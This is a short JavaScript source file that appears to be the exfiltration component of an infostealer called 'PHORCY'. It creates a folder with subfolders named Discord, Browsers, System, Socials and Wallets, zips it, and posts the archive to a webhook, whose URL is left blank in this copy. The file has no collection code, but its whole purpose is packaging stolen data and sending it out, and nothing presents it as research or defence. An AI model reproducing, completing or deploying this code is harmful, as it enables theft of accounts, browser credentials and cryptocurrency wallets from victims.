const fs = require('fs');
const archiver = require('archiver');
const axios = require('axios');
const FormData = require('form-data');

const config = {
   webhook: ""
}

function genrandomstr(length) {
    const letter = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
    let answer = '';
    for (let i = 0; i < length; i++) {
        answer += letter.charAt(Math.floor(Math.random() * letter.length));
    }
    return answer;
}
function cfold() {
    const randomstr = genrandomstr(7);
    const main = `PHORCY-DATA-${randomstr}`;
    const sub = ['Discord', 'Browsers', 'System', 'Socials', 'Wallets'];
    fs.mkdirSync(main);

    sub.forEach(subfolder => {
        fs.mkdirSync(`${main}/${subfolder}`);
    });

    return main;
}
async function zipped(main) {
    const zipfile = `${main}.zip`;
    const output123 = fs.createWriteStream(zipfile);
    const archive = archiver('zip', {
        zlib: { level: 9 }
    });
    output123.on('close', async () => {
        const form123 = new FormData();
        form123.append('file', fs.createReadStream(zipfile));
        await axios.post(config.webhook, form123, {
            headers: {
                ...form123.getHeaders(),
            }
        });
    });
    archive.pipe(output123);
    archive.directory(main, false);
    archive.finalize();
}
const main = cfold();
zipped(main);
